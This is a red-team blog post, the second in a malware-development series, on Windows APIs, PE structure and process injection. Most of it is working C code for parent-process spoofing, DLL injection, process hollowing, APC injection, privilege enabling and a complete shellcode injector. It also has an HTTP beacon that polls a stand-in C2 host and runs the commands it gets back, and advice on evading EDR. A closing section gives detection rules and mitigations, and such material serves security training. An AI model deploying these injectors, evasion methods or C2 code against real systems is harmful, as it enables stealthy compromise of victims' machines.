This blog series is the written companion to our Malware Development: Red Team Tradecraft YouTube playlist, where we walk through live demos of the evasion techniques discussed here, including payload staging, AV/EDR bypass, and in-memory, on disk, and network evasion. We recommend following along with the playlist alongside these posts.
Disclaimer
This blog series is designed for cybersecurity professionals, red teamers, and security analysts who want to understand malware development from an offensive and defensive perspective. The knowledge shared here is meant to help you better create, detect, analyze, and defend against malicious software. Always use this information ethically and legally within authorized security assessments and controlled environments.
Introduction
Welcome back to the Maldev 101 series! In Part 1, we covered the foundational concepts of processes, threads, memory, and handles. We established the mental models necessary to understand how malware interacts with the Windows operating system.
In this second part, we’re going deeper into the practical implementation details that every cybersecurity analyst needs to understand:
- Windows API Mastery – Which APIs to use and when
- Reading API Documentation – How to navigate MSDN like a pro
- PE File Format Basics – Understanding executable structure
- Process Injection Techniques – Classic and modern methods
- Practical Injection Walkthrough – Complete code example with explanation
- Detection Strategies – How defenders spot these techniques in the wild
By the end of this post, you’ll understand not just the theory, but the actual implementation details that make modern malware work – and more importantly, how to detect and defend against it.
Understanding Windows APIs: The Interface to the Operating System
Windows APIs (Application Programming Interfaces) are the gateway between your code and the Windows kernel. Understanding which APIs to use and when is absolutely critical in malware development and analysis.
Why APIs Matter in Malware Development or Analysis
As a red teamer or a defender, you need to know:
– What APIs are commonly used in malicious code
– Which API sequences indicate suspicious behavior
– How APIs can be chained to achieve complex attacks
– What alternatives exist for stealthy execution
Let’s explore the primary categories of Windows APIs.
Windows API Categories by Task
1. Process Creation & Management
| Purpose | WinAPI | Notes |
|---|---|---|
| Create new process | CreateProcess, CreateProcessAsUser | Basic method, customizable with STARTUPINFOEX for PPID spoofing |
| Spoof parent process | UpdateProcThreadAttribute | Used with STARTUPINFOEX to make malware look like it was spawned by explorer.exe |
| Suspend process | NtSuspendProcess (undocumented) | Used to pause analysis tools or for process hollowing |
| Kill process | TerminateProcess | Risky – noisy and detectable |
| Enumerate processes | CreateToolhelp32Snapshot, Process32First, Process32Next | Find target processes like explorer.exe, lsass.exe |
Example: Parent Process Spoofing
STARTUPINFOEX si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
// Initialize structures
ZeroMemory(&si, sizeof(STARTUPINFOEX));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
// Get handle to target parent (e.g., explorer.exe)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);
// Allocate attribute list
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attributeSize
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
// Set parent process
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(HANDLE),
NULL,
NULL
);
// Create process with spoofed parent
CreateProcess(NULL, "malicious.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
(LPSTARTUPINFO)&si, &pi);2. Thread Creation & Injection
| Purpose | WinAPI | Notes |
|---|---|---|
| Create a thread in the current process | CreateThread | Simple but detectable |
| Create a remote thread | CreateRemoteThread | Standard injection method |
| Stealthier remote thread | NtCreateThreadEx | Bypasses some EDR hooks |
| Queue APC shellcode | QueueUserAPC, NtQueueApcThread | More evasive injection technique |
| Get thread context | GetThreadContext, SetThreadContext | Used in process hollowing |
Comparison: CreateRemoteThread vs NtCreateThreadEx
// Method 1: CreateRemoteThread (More detectable)
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL,
0,
NULL
);
// Method 2: NtCreateThreadEx (Stealthier, direct syscall)
HANDLE hThread;
NTSTATUS status = NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
remoteBuffer,
NULL,
FALSE,
0,
0,
0,
NULL
);Why NtCreateThreadEx can be (somewhat) stealthier than CreateRemoteThread
– It is a lower-level Native API
– Slightly less noisy in basic detections
– Better control and easier to pair with evasion
2026 Reality Check
While NtCreateThreadEx remains a useful step up from the high-level CreateRemoteThread, it is no longer considered strong evasion on its own. Modern EDRs (CrowdStrike, SentinelOne, Microsoft Defender, etc.) routinely monitor NtCreateThreadEx in ntdll.dll and correlate it with suspicious memory operations. The real value comes when combined with direct or indirect syscalls (e.g., via SysWhispers), ntdll unhooking, or moving to threadless techniques such as APC injection, thread hijacking, or Pool Party. In current environments, relying solely on swapping to NtCreateThreadEx provides only marginal protection against mature defenses.
3. Memory Management
| Purpose | WinAPI | Notes |
|---|---|---|
| Allocate memory in the target | VirtualAllocEx, NtAllocateVirtualMemory | Needed for code injection |
| Write to memory | WriteProcessMemory, RtlMoveMemory | Used to inject shellcode |
| Read from memory | ReadProcessMemory | Used for stealing data (e.g., LSASS credentials) |
| Protect memory | VirtualProtect, VirtualProtectEx | Mark memory as executable (RWX permissions) |
| Flush memory | FlushInstructionCache | Ensures shellcode executes correctly |
Memory Permissions Matter:
// BAD: Allocating RWX (Read-Write-Execute) memory is a red flag
LPVOID buffer = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // ❌ Highly suspicious!
);
// BETTER: Allocate as RW, write shellcode, then change to RX
LPVOID buffer = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE // ✅ Write-only first
);
WriteProcessMemory(hProcess, buffer, shellcode, shellcodeSize, NULL);
DWORD oldProtect;
VirtualProtectEx(
hProcess,
buffer,
shellcodeSize,
PAGE_EXECUTE_READ, // ✅ Then change to execute-only
&oldProtect
);4. DLL Injection & Loading
| Purpose | WinAPI | Notes |
|---|---|---|
| Load DLL | LoadLibrary, LoadLibraryEx | Used in simple DLL injection |
| Get function from DLL | GetProcAddress | Retrieve function pointers after loading |
| Reflective injection | Custom loading + VirtualAlloc + RtlMoveMemory | No WinAPI call to load from disk |
| Manually map the DLL | Avoids LoadLibrary | Fully stealth with PE parsing |
Classic DLL Injection:
// 1. Allocate memory for DLL path in target process
LPVOID dllPathAddr = VirtualAllocEx(
hProcess,
NULL,
strlen(dllPath) + 1,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
// 2. Write DLL path to target process
WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL);
// 3. Get address of LoadLibraryA in kernel32.dll
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"LoadLibraryA"
);
// 4. Create remote thread to call LoadLibraryA with our DLL path
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)loadLibraryAddr,
dllPathAddr,
0,
NULL
);
WaitForSingleObject(hThread, INFINITE);5. Privilege Escalation & Token Manipulation
| Purpose | WinAPI | Notes |
|---|---|---|
| Adjust token privileges | OpenProcessToken, AdjustTokenPrivileges | Required for debug privilege |
| Enable SeDebugPrivilege | Same as above | Needed to access LSASS memory |
| Duplicate token | DuplicateTokenEx | Used for impersonation attacks |
| Set thread token | SetThreadToken | Thread-level impersonation |
Enabling SeDebugPrivilege:
BOOL EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
// Open current process token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
return FALSE;
}
// Get LUID for SeDebugPrivilege
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Enable privilege
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}6. Network Communications (C2)
| Purpose | WinAPI | Notes |
|---|---|---|
| Network connections | WinINet (InternetOpen, InternetReadFile) | Easier but heavily monitored |
| Stealthier HTTP | WinHTTP (WinHttpOpen, WinHttpSendRequest) | More control, less detection |
| Raw sockets | WSAStartup, socket, connect, recv, send | For custom protocols |
Example: Simple HTTP Beacon
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
void SendBeacon() {
HINTERNET hInternet = InternetOpen(
"Mozilla/5.0", // User-agent
INTERNET_OPEN_TYPE_DIRECT,
NULL,
NULL,
0
);
HINTERNET hConnect = InternetOpenUrl(
hInternet,
"https://c2server.com/beacon",
NULL,
0,
INTERNET_FLAG_SECURE,
0
);
char buffer[4096];
DWORD bytesRead;
InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead);
// Process commands from C2
ExecuteCommand(buffer);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
}7. Anti-Debugging & Evasion
| Purpose | WinAPI | Notes |
|---|---|---|
| Check debugger | IsDebuggerPresent, CheckRemoteDebuggerPresent | Simple checks |
| Breakpoint detection | GetThreadContext, NtQueryInformationProcess | Advanced evasion |
| Sleep bypass | Sleep, NtDelayExecution | Avoid sandbox time acceleration |
| Unhook functions | Read ntdll.dll from disk, overwrite hooked APIs | Advanced stealth method |
How to Read Windows API Documentation
Knowing how to read and use WinAPI documentation is an essential skill. The official source is Microsoft Learn.
Let’s walk through reading a real API: CreateRemoteThread
Key Sections to Focus On:
a. Prototype
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);This tells you:
– Function name and return type (HANDLE)
– Parameters required and their types
b. Parameters
Explains what each argument does:
hProcess: Handle to the process you’re injecting intolpStartAddress: Address in the target process where execution begins (your shellcode)lpParameter: Optional parameter passed to the new threaddwCreationFlags: 0 for immediate execution,CREATE_SUSPENDEDto start paused
c. Return Value
- Success: Returns a HANDLE to the new thread
- Failure: Returns NULL – use
GetLastError()to diagnose
d. Remarks
This is critical – tells you:
– Privileges required (e.g., PROCESS_CREATE_THREAD)
– Edge cases and limitations – Security implications
– Better alternatives
e. Example Code
Often includes working code snippets you can adapt.
Pro Tips for Using API Documentation:
- Always check “Remarks” section – Contains crucial hidden rules that can break your code.
- Use
GetLastError()after every API call to debug failures - Click on parameter types to understand structures (e.g.,
STARTUPINFOEX) - Look for “See Also” section for related APIs
- Compare examples with your code to spot mistakes
Understanding the PE (Portable Executable) Format
Before diving into advanced injection techniques, you need to understand how Windows executables are structured.
What is a PE File?
A Portable Executable (PE) file is the standard format for executables, DLLs, and drivers on Windows. Understanding PE structure is crucial for:
- Process hollowing – Replacing a legitimate process’s code
- Reflective DLL injection – Loading DLLs without
LoadLibrary - Manual mapping – Custom DLL loading
- Malware analysis – Understanding how packers and obfuscators work
PE File Structure Overview
+---------------------------+
| DOS Header | ← "MZ" signature
+---------------------------+
| DOS Stub | ← "This program cannot be run in DOS mode"
+---------------------------+
| PE Signature | ← "PE\0\0"
+---------------------------+
| COFF File Header | ← Architecture, number of sections
+---------------------------+
| Optional Header | ← Entry point, image base, section alignment
+---------------------------+
| Section Headers | ← .text, .data, .rdata, .rsrc
+---------------------------+
| Section Data |
| .text (code) |
| .data (initialized) |
| .rdata (read-only) |
| .rsrc (resources) |
+---------------------------+Key PE Components:
1. DOS Header (First 64 bytes)
typedef struct _IMAGE_DOS_HEADER {
WORD e_magic; // "MZ" (0x5A4D)
// ... other fields ...
LONG e_lfanew; // Offset to PE header
} IMAGE_DOS_HEADER;2. PE Header
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; // "PE\0\0"
IMAGE_FILE_HEADER FileHeader; // Architecture, sections count
IMAGE_OPTIONAL_HEADER OptionalHeader; // Entry point, base address
} IMAGE_NT_HEADERS;3. Section Headers
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[8]; // .text, .data, etc.
DWORD VirtualAddress; // Address in memory
DWORD SizeOfRawData; // Size on disk
DWORD PointerToRawData; // Offset in file
DWORD Characteristics; // Permissions (RWX)
} IMAGE_SECTION_HEADER;Why This Matters for Malware Development:
- Entry Point: Where execution starts – can be modified for persistence
- Import Address Table (IAT): Functions the executable imports – can be hooked
- Sections: Different permissions –
.textis executable,.datais writable - Base Address: Where the PE loads in memory – important for ASLR bypass
Process Injection Techniques: Theory and Practice
Now, let’s put everything together with real injection techniques.
Technique 1: Classic DLL Injection
How it works:
- Allocate memory in the target process for the DLL path
- Write the DLL path to allocated memory
- Create a remote thread that calls
LoadLibraryA
Pros: Simple, well-documented
Cons: Heavily monitored, easily detected
Code Example: (Already shown in DLL Injection section above)
Technique 2: Process Hollowing
How it works:
- Create a target process in a suspended state
- Unmap legitimate code from memory
- Allocate new memory and write malicious code
- Update the entry point to malicious code
- Resume process
Pros: Looks like a legitimate process to users
Cons: Detectable by EDR memory scanning
Simplified Code:
// 1. Create suspended process
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. Unmap original executable
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)
GetProcAddress(hNtdll, "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, (PVOID)baseAddress);
// 3. Allocate new memory
LPVOID newBase = VirtualAllocEx(pi.hProcess, (PVOID)baseAddress, imageSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 4. Write malicious PE
WriteProcessMemory(pi.hProcess, newBase, maliciousPE, imageSize, NULL);
// 5. Update entry point in thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
#ifdef _WIN64
ctx.Rcx = (DWORD64)newEntryPoint; // RCX holds entry point on x64
#else
ctx.Eax = (DWORD)newEntryPoint; // EAX holds entry point on x86
#endif
SetThreadContext(pi.hThread, &ctx);
// 6. Resume execution
ResumeThread(pi.hThread);Technique 3: APC (Asynchronous Procedure Call) Injection
How it works:
- Find the target thread in an alertable wait state
- Queue APC to that thread with the shellcode address
- When the thread resumes, it executes the APC (your shellcode)
Pros: Stealthier than CreateRemoteThread
Cons: Requires a thread in an alertable state
Code Example:
// 1. Allocate and write shellcode (same as before)
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
// 2. Find target thread (usually first thread)
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
Thread32First(hSnapshot, &te);
do {
if (te.th32OwnerProcessID == targetPID) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
// 3. Queue APC
QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, NULL);
CloseHandle(hThread);
break;
}
} while (Thread32Next(hSnapshot, &te));Complete Injection Example: Putting It All Together
Let’s walk through a complete, commented example of shellcode injection:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// Shellcode (calc.exe for demonstration)
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
// ... (truncated for brevity)
;
// Find process by name
DWORD FindProcessId(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnapshot, &pe)) {
do {
if (strcmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
int main() {
// 1. Find target process
DWORD targetPID = FindProcessId("notepad.exe");
if (targetPID == 0) {
printf("[!] Target process not found\n");
return 1;
}
printf("[+] Found target PID: %lu\n", targetPID);
// 2. Open process with required permissions
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE,
targetPID
);
if (hProcess == NULL) {
printf("[!] Failed to open process. Error: %lu\n", GetLastError());
return 1;
}
printf("[+] Process handle obtained\n");
// 3. Allocate memory in target (RW first, then change to RX)
LPVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE // Start with RW
);
if (remoteBuffer == NULL) {
printf("[!] Failed to allocate memory. Error: %lu\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Memory allocated at: 0x%p\n", remoteBuffer);
// 4. Write shellcode to allocated memory
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
printf("[!] Failed to write memory. Error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[+] Shellcode written successfully\n");
// 5. Change memory protection to RX (Read + Execute)
DWORD oldProtect;
if (!VirtualProtectEx(hProcess, remoteBuffer, sizeof(shellcode),
PAGE_EXECUTE_READ, &oldProtect)) {
printf("[!] Failed to change memory protection. Error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[+] Memory protection changed to RX\n");
// 6. Create remote thread
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL,
0,
NULL
);
if (hThread == NULL) {
printf("[!] Failed to create remote thread. Error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[+] Remote thread created successfully\n");
// 7. Wait for thread to finish and cleanup
WaitForSingleObject(hThread, INFINITE);
printf("[+] Execution completed\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}Detection Strategies: How Defenders Spot These Techniques
As a red teamer or cybersecurity analyst, you need to know how these techniques get detected:
1. Process Injection Indicators
EDR/SIEM Alerts to Configure:
Alert: Suspicious Process Memory Operations
Trigger: Process A performs the following sequence against Process B:
1. OpenProcess (PROCESS_VM_WRITE | PROCESS_VM_OPERATION)
2. VirtualAllocEx
3. WriteProcessMemory
4. CreateRemoteThread OR QueueUserAPC
Severity: HIGH if Process A is not a known legitimate tool2. Memory Permission Anomalies
Alert: RWX Memory Allocation
Trigger: VirtualAllocEx or VirtualAlloc with PAGE_EXECUTE_READWRITE
Why suspicious: Legitimate code rarely needs RWX
Modern exploits use this for shellcode execution3. API Call Sequence Analysis
Monitor for suspicious API call patterns:
// Suspicious Pattern 1: Classic Injection
OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
// Suspicious Pattern 2: DLL Injection
OpenProcess → VirtualAllocEx → WriteProcessMemory → GetProcAddress → CreateRemoteThread
// Suspicious Pattern 3: Process Hollowing
CreateProcess (CREATE_SUSPENDED) → NtUnmapViewOfSection → VirtualAllocEx →
WriteProcessMemory → SetThreadContext → ResumeThread4. Parent-Child Process Anomalies
Alert: Suspicious Process Spawning
Examples:
- excel.exe spawning cmd.exe or powershell.exe
- winword.exe creating svchost.exe
- explorer.exe with unusual child processes
- PPID spoofing (Process Explorer shows mismatched parent)5. Network Beaconing Detection
Alert: Regular Interval Network Connections
Trigger: Process making HTTP/HTTPS requests at fixed intervals
- Every 60 seconds exactly (C2 beacon)
- Low data volume (heartbeat)
- Unusual User-Agent strings
- Connections to non-standard portsOffensive and Defensive Tools and Techniques
For Threat Hunting:
Sysmon – Configure to log:
- Process creation (Event ID 1)
- Network connections (Event ID 3)
- Process access (Event ID 10)
- Remote thread creation (Event ID 8)
Process Hacker / Process Explorer
- Check process memory for RWX regions
- Verify parent-child relationships
- Inspect loaded DLLs and their paths
Volatility (Memory Forensics)
malfind– Find injected codepslist– Analyze process relationshipsdlllist– Check loaded modules
YARA Rules
rule Suspicious_API_Sequence { strings: $api1 = "OpenProcess" ascii $api2 = "VirtualAllocEx" ascii $api3 = "WriteProcessMemory" ascii $api4 = "CreateRemoteThread" ascii condition: all of them }
Conclusion
In this second part of the Maldev 101 series, we’ve covered the practical implementation details that transform theory into action:
Key Takeaways:
- Windows APIs are the bridge between code and the OS – knowing which ones to use (and which are monitored) is critical
- API sequences matter – defenders look for suspicious patterns, not individual calls
- PE format understanding enables advanced techniques like process hollowing and reflective injection
- Injection techniques range from simple (CreateRemoteThread) to sophisticated (APC injection, manual mapping)
- Detection is pattern-based – unusual memory permissions, cross-process operations, and parent-child anomalies are key indicators
What’s Coming in Part 3:
- Shellcode Creation & Obfuscation – Writing position-independent code
- Cryptography in Malware – XOR, AES, and encryption techniques
- Evasion Techniques – Unhooking, syscalls, and anti-debugging
- Building a Complete Loader – 12-step process from concept to execution
Hands-On Practice
Lab Exercise:
- Set up an isolated Windows VM
- Write a simple process injector using the code example above
- Monitor it with Process Hacker and Sysmon
- Observe the API calls and memory operations
- Write detection rules for your SIEM
Safe Practice Environment:
- Use VirtualBox/VMware with a network-isolated
- Never test on production systems
- Always get proper authorization
Detections & Mitigations
MITRE ATT&CK Techniques Covered:
- Process Injection – T1055
- T1055.001 – DLL Injection
- T1055.002 – Portable Executable Injection
- T1055.003 – Thread Execution Hijacking
- T1055.004 – Asynchronous Procedure Call (APC)
- T1055.012 – Process Hollowing
- Parent PID Spoofing – T1134.004
- Access Token Manipulation – T1134
- Credential Dumping – T1003.001
Defensive Mitigations:
- Enable attack surface reduction (ASR) rules in Windows Defender
- Deploy EDR solutions with process injection detection
- Configure Sysmon for comprehensive logging
- Implement application whitelisting (AppLocker/WDAC)
- Use Credential Guard to protect LSASS
Resources
- Documentation:
- Tools:
- SysWhispers – Direct syscall generation
- PE-bear – PE analysis tool
- Process Hacker – Advanced process viewer
- Reading:
- Windows Internals by Mark Russinovich
- Practical Malware Analysis by Michael Sikorski

Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.
